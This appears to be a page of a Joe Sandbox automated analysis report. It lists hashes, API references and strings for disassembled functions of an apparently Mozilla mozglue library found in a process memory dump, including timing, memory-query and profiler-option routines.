Opcode ID: ad4e143ac0d1190df91e67226925cf8452db38b61bc2216d3c68ec11dbbb3db5
Instruction ID: e0dd0ff16ecbdb7d940dddd86d4a90618c3f2d794ecf95c5199e4d293677946e
Opcode Fuzzy Hash: ad4e143ac0d1190df91e67226925cf8452db38b61bc2216d3c68ec11dbbb3db5
Instruction Fuzzy Hash: 4B62BE7150C3858FD706CE2DC09079EBBF2AF8635AF184A0DE4E54BE91C3359985CB8A

Function 6C68545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C688A4B

Strings

~qal, xrefs: 6C689269, 6C685740, 6C6856C7, 6C68921F, 6C685703, 6C689459, 6C68948F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset
String ID: ~qal
API String ID: 2221118986-3346365761
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 54a085e26d90500e6221a0d35f9203cb23477ccf1d023fb07b4e8bbcc3406c36
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 4AB1FA72E0621ACFDB14CF68CC907E9B7B2EF85314F1802A9C549EB795D7309985CBA4

Function 6C68542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C68925C

Strings

~qal, xrefs: 6C689269, 6C685740, 6C6856C7, 6C68921F, 6C685703, 6C689459, 6C68948F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset
String ID: ~qal
API String ID: 2221118986-3346365761
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a32c37e741a22a3f996d97e22cdf0def0b3bde83d4a6f9deda43bae4bb060487
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 36B1C572E0620A8FDB14CF68C8916EDB7B2EF85314F140269C549EB795D730A989CBA4

Function 6C67C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C67C0E9), ref: 6C67C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C67C437
FreeLibrary.KERNEL32(?,6C67C0E9), ref: 6C67C44C

Strings

ntdll.dll, xrefs: 6C67C413
NtQueryVirtualMemory, xrefs: 6C67C431

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f9510d5045154e14dd4abba5c8a21d09f1a13c845810119b41cd57dec0834472
Instruction ID: 72d1a71f3a8ba8e3572bb31f0ec1921dc3dc8cd3058a07d028093cf211c1a9e4
Opcode Fuzzy Hash: f9510d5045154e14dd4abba5c8a21d09f1a13c845810119b41cd57dec0834472
Instruction Fuzzy Hash: 33E0B670711303ABDF60BF73DA887157BFCAB46344F11451ABA0591611EBB0C0128B6E

Function 6C629F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C62AB22
1, xrefs: 6C62A824
0, xrefs: 6C62A100
' , xrefs: 6C62A3D8
9, xrefs: 6C62A5D6
@, xrefs: 6C62A625

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: abb6521e32cc7c04ef45a12ec608be1912a76e769e8e47f6fd60840fb6b0c8f9
Instruction ID: de1adc1c12ae602841cdaf16a83e816d545b645152e069b6894b11b2f645686a
Opcode Fuzzy Hash: abb6521e32cc7c04ef45a12ec608be1912a76e769e8e47f6fd60840fb6b0c8f9
Instruction Fuzzy Hash: 8682D3319093118FD710CF09C4903AEB7F2FB85758F55892AE8D557A92D3BC9886CF8A

Function 6C61BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C61C1CB
__aulldiv.LIBCMT ref: 6C61C24C
__aulldiv.LIBCMT ref: 6C61C348
__aullrem.LIBCMT ref: 6C61C365
__aulldiv.LIBCMT ref: 6C61C37D

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 4185e4725f67321b483e5543b5cb235054dbb9fc0e8be5931495ecb7398717ed
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: A1322632B086119FC718DE2CC89165ABBE6AFC9310F09867DE896CB795D730ED05CB91

Function 6C6677A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C667A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C667A93

Part of subcall function 6C635C50: GetTickCount64.KERNEL32 ref: 6C635D40
Part of subcall function 6C635C50: EnterCriticalSection.KERNEL32(6C69F688), ref: 6C635D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C667AA1

Part of subcall function 6C635C50: __aulldiv.LIBCMT ref: 6C635DB4
Part of subcall function 6C635C50: LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C635DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C667B31

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: d349f8a5f7ad8c06b7be99dc0605290ad2d25499371937863f61e1b9a8c3f307
Instruction ID: a637e63c0d00feea5370b144cc62fc50f1149daa39677ebe28fefec398fdd526
Opcode Fuzzy Hash: d349f8a5f7ad8c06b7be99dc0605290ad2d25499371937863f61e1b9a8c3f307
Instruction Fuzzy Hash: 33B17D356083818BCB14CF26C45069EB7E2ABC6318F154A1DE99567B91DB70ED0ACB8B

Function 6C638850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6397EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C639813, 6C63985D, 6C639878, 6C639CEB

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 405fe3fb365c54873e89bd7d911cf21cbde46d7f8dea21d4b303747c2a93a814
Instruction ID: 49372f4c4c188be28c157974da1623b1c9701fd1cb124d4df03a8a8d4c0241a5
Opcode Fuzzy Hash: 405fe3fb365c54873e89bd7d911cf21cbde46d7f8dea21d4b303747c2a93a814
Instruction Fuzzy Hash: 09D2AD71A056118FC708CF18C590755BBE1BF85328F29E76DE86E8B7A5CB31E841CB88

Function 6C656CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C656D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C656E1E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ff394e65ceb66ab2255bc56c7ded2c3fff892b9d1392cd17385523ddb66625ed
Instruction ID: 1bbb108be75b257b61e597a67c12d6e725ad8e01d9c68dda3d1cad55443075af
Opcode Fuzzy Hash: ff394e65ceb66ab2255bc56c7ded2c3fff892b9d1392cd17385523ddb66625ed
Instruction Fuzzy Hash: 07A18D70A183818FC715CF25C4907AEFBE2BF89308F54891DE48A87B51DB70E859CB96

Function 6C67B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C64FE3F), ref: 6C67B720
RtlNtStatusToDosError.NTDLL ref: 6C67B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C64FE3F), ref: 6C67B760

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 33065455a212b94cd48cf5951c7b11666a30759b0c93f0bb2b3583286884ec4b
Instruction ID: c6755e3332d04e200c9f5f90d1387a2909905a15e9576c37ca75e8332f4da434
Opcode Fuzzy Hash: 33065455a212b94cd48cf5951c7b11666a30759b0c93f0bb2b3583286884ec4b
Instruction Fuzzy Hash: B8F0AFB0A0020DAEEF119AA1CCC4BEE77BD9B84319F105629E512656C0D77895CCC77C

Function 6C634640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C634777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C635585, 6C6355A8, 6C6355C3, 6C635624

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c145d4e4e20daad5392d243b4265826ee6d9e2e984d87e06dcbf70a77932bdb0
Instruction ID: faf890be7e99d6cecee5069741a40f6f14f5e7c6ed80b0d0653c500638383649
Opcode Fuzzy Hash: c145d4e4e20daad5392d243b4265826ee6d9e2e984d87e06dcbf70a77932bdb0
Instruction Fuzzy Hash: 8BB28D71A056118FC308CF19C590625FBE2BFC5324B29E76DE86E8B6A5D771E841CB88

Function 6C6785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C678C7C
__aulldiv.LIBCMT ref: 6C678DD7

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 410b42849710a291da7112a809d3860f56952edf442630df0621958db2abc2a8
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7C327031F001198BDF18CE9DC8A17AEF7B2FB88304F15853AD506BB7A0DA349D458BA5

Function 6C6876E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qal, xrefs: 6C6879FB, 6C687796, 6C687E0B, 6C6879C0, 6C68793C, 6C687B0B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ~qal
API String ID: 0-3346365761
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 94c2ad13549e5258c9598aa8ed9438e2364e889bc72d6bc31d31edb1cb535100
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 68320971E016198FCB14CF98C890AADFBF2FF88308F648169D949A7745D731A986CF94

Function 6C686E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qal, xrefs: 6C6879FB, 6C687E0B, 6C687C72, 6C6879C0, 6C68793C, 6C687C03, 6C687B0B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ~qal
API String ID: 0-3346365761
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 639f81299236e8c5400fbdc19b27d6af79f0f2134eaa9d7aea6b2a349cb0d215
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6822E871E012198FCB14CF98C880AADF7F2FF89308F6481A9D949A7745D731A986CF94

Function 6C655C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C624A63,?,?), ref: 6C655F06

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: a37faa3e0539bbfd3da21810cca0f0ef2bfa7a469076d025b87621faa293693a
Instruction ID: 5cc6a3413c2593eca56485b4713e7aa7acfb83940c8aade7d245c3e6363a4650
Opcode Fuzzy Hash: a37faa3e0539bbfd3da21810cca0f0ef2bfa7a469076d025b87621faa293693a
Instruction Fuzzy Hash: 15C1BE75E012098BCB04CF95C1946EEBBF2BF8A318F78825DD8556BB40D732A816CF84

Function 6C61DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f07653ff55e5778e949830f29933b37c0f24f565dfe160ed9634a96e9f21a3
Instruction ID: c0bfaf986f80ec7392e184e457f79f96623b79915d4cb45b9b24671b44227c14
Opcode Fuzzy Hash: 51f07653ff55e5778e949830f29933b37c0f24f565dfe160ed9634a96e9f21a3
Instruction Fuzzy Hash: 4342C272A0C7518BD308CE3CC49175AB3E2BFC9365F094B2DE999A7B90D734D9418B86

Function 6C640512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 90e35e3f7b8befecf7f78307e88399ac04b7bddb84b49e4e4ad5dd11aaf1c966
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: E2220671E04629CFCB14CF98C890AADFBB2FF89308F548599C54AA7745D731A986CF84

Function 6C68AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 983bef2db6d5205408d1251a9242139be8456eb71f715b8bbe1050cc8789ec5a
Instruction ID: daef6f35b6ea0cecdf8a28756022cc9b87cbf6e4184982f508ec8f5103ed23c8
Opcode Fuzzy Hash: 983bef2db6d5205408d1251a9242139be8456eb71f715b8bbe1050cc8789ec5a
Instruction Fuzzy Hash: F1F13B7160A7454FD700CE28C8907AAB7E2AFC6318F148A2DEDD4877D2E774D84587A6

Function 6C61C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 9ea7f0585b380958982d3650d7947904a90067d721f74549d565edd3e9c39088
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 44A1BF71F0421A8BDB08CE6CC8913AEB7F2AFC9355F188139D916A7791CB349C068BD0

Function 6C657710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 3ad76716f5b64076e9e844ad6300743c0f25f54607b9b6af9870a3dd25fa3486
Instruction ID: f7ace46379a9bc98197a691404c7a4e8c817b22d06827808e06466707c7c4861
Opcode Fuzzy Hash: 3ad76716f5b64076e9e844ad6300743c0f25f54607b9b6af9870a3dd25fa3486
Instruction Fuzzy Hash: D2717B71E112198FCF08CFA9D8905EDBBB2FF89314F64816ED816AB740D731A905CB94

Function 6C65CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C62582D), ref: 6C65CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C62582D), ref: 6C65CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C68FE98,?,?,?,?,?,6C62582D), ref: 6C65CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C65CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C65CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C65CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C65CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C65CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C65CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C65CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C65CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C65CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C65CDDA
